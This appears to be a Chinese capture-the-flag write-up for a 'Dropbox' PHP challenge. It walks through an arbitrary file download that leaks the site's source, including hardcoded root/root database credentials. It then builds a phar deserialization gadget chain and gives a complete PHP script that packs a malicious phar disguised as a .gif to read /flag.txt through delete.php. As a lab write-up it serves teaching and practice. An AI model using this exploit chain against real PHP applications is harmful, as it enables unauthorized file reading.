考点

phar反序列化

题解

打开是一个登录页面login.php,还有注册功能register.php,所以先注册一个账号。

1

然后登录,发现如题目Dropbox所示,这是一个网盘,登录后转到首页index.php,有一个上传文件的功能:

2

随便上传一个txt文件提示只能上传后缀名为gif/jpg/png的文件。那就按照要求上传一张符合要求的图片,上传之后发现有上传和下载的功能:

3

尝试下载一下,burpsuite抓个包,发现可能存在一个任意文件下载的漏洞,这里我们的多尝试几次,尝试下载index.php

4

然后我们依次下载所有的php文件,有:

1
2
3
4
5
6
7
class.php - 核心代码
index.php - 首页
download.php - 文件下载功能
login.php - 登录
register.php - 注册
upload.php - 文件上传
delelte.php - 文件删除

从核心代码class.php中可以确定,这考点是反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

虽然所有的文件都没有用到unserialize,但是这里存在文件上传的功能,而且在download.phpdelete.php文件中都存在能够触发怕phar反序列化的函数file_exists

delete.php

5

download.php

6

这两个文件中都调用了File类的open()方法,其中会先调用file_exists判断文件是否存在:

7

所以我们所需要做的就是构造出一条反序列化链,目标是读取flag文件,所以第一步就是先找到class.php中最后可利用的函数,在类File中存在close()方法,就调用了file_get_contents,而且这里$this->filename是可以控制的:

1
2
3
4
5
6
7
class File {
public $filename;

public function close() {
return file_get_contents($this->filename);
}
}

那么这里就是调用链的出口,这里的$this->filename应该是flag文件。但是其实这里就是一个难点,我们没法知道flag文件到底是啥,因为就上面的class.php来说,其实我们是无法通过执行系统命令来看flag文件在哪里的,毕竟没有可以利用的函数。在download.php中,包含对下载的文件的文件名检测,要求是文件名中不能包含flag

1
2
3
4
5
6
7
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}

这就说明,flag文件的文件名中包含flag字样,又是利用file_get_contents读取的,所以猜测是flag.txt或是flag.php,但是其实还是没法确定。最后看了别人的wp才知道其实是/flag.txt……也不知道是多次尝试出来的,还是通过什么方法知道的。anyway,总之,File类对象对应的$this->filename/flag.txt

然后我们重新分析,现在要找到反序列化的入口,在User类和FileList类中都存在__destruct()析构函数,但是FileList这个显然不合适,User类中的析构函数会调用$this->dbclose()方法:

1
2
3
4
5
6
7
class User {
public $db;

public function __destruct() {
$this->db->close();
}
}

这时我们往往有两种选择:

  1. 找到一个类,含有close方法,看继续分析能不能找到利用方法;
  2. 找到一个类,并不含有close方法,但是有__call()函数。

FileList类中就存在__call()函数,而且这里存在一个可控类变量->类方法调用(),也就是$file->$func(),所以可以令User类的$db=new FileList()

1
2
3
4
5
6
7
8
9
10
11
12
class FileList {
private $files;
private $results;
private $funcs;

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
}

这里$file来自于数组$this->files,是用户可控的,$file->func()__call($func, $args)中的$func保持一致。当User类被析构时,__destruct()函数会调用$this->db->close(),当$this->dbFileList的一个实例化对象时,触发了该类的__call方法,此时传入的__call()函数的$func就是close()$argsnull。所以令$fileFile的一个实例化对象,就能调用该类的close()方法。

梳理一下,整个流程为:

  1. 反序列化入口为User类的__destruct()函数,$this->dbFileList的一个实例化对象;
  2. FileList对象不存在close()函数,所以会触发该类的__call()魔术方法;
  3. __call()魔术方法中存在$file->$func();,这里的func()close(),所以只要令可控的$fileFile类的实例化对象,就能调用File类的close()方法;
  4. File类的close()方法存在file_get_contents,能够读取flag文件。

最后的exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class User
{
public $db;

public function __construct($db)
{
$this->db = $db;
}
}

class FileList
{
private $files;
private $results;
private $funcs;

public function __construct($files, $results, $funcs)
{
$this->files = $files;
$this->results = $results;
$this->funcs = $funcs;
}
}

class File
{
public $filename;

public function __construct($filename)
{
$this->filename = $filename;
}
}

$file = new File('/flag.txt');

$fileList = new FileList(array($file), array(), array());

$user = new User($fileList);

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();>');
$phar->setMetadata($user);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

将文件名的后缀修改为.gif来绕过上传限制。最后一步就是利用phar://协议读取phar.gif,前面已经说过,只有在download.phpdelete.php文件中会调用能够触发phar反序列化的file_exists函数,但是在download.php文件中设置了open_basedir

1
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

规定了我们能过访问的目录仅限于当前目录,/etc目录和/tmp目录,但是flag在/根目录下,所以这里只能利用delete.php来读取flag内容:

8

这道题构造反序列化链是简单的,但是这个准确猜出flag文件就可能对我来说有点点困难。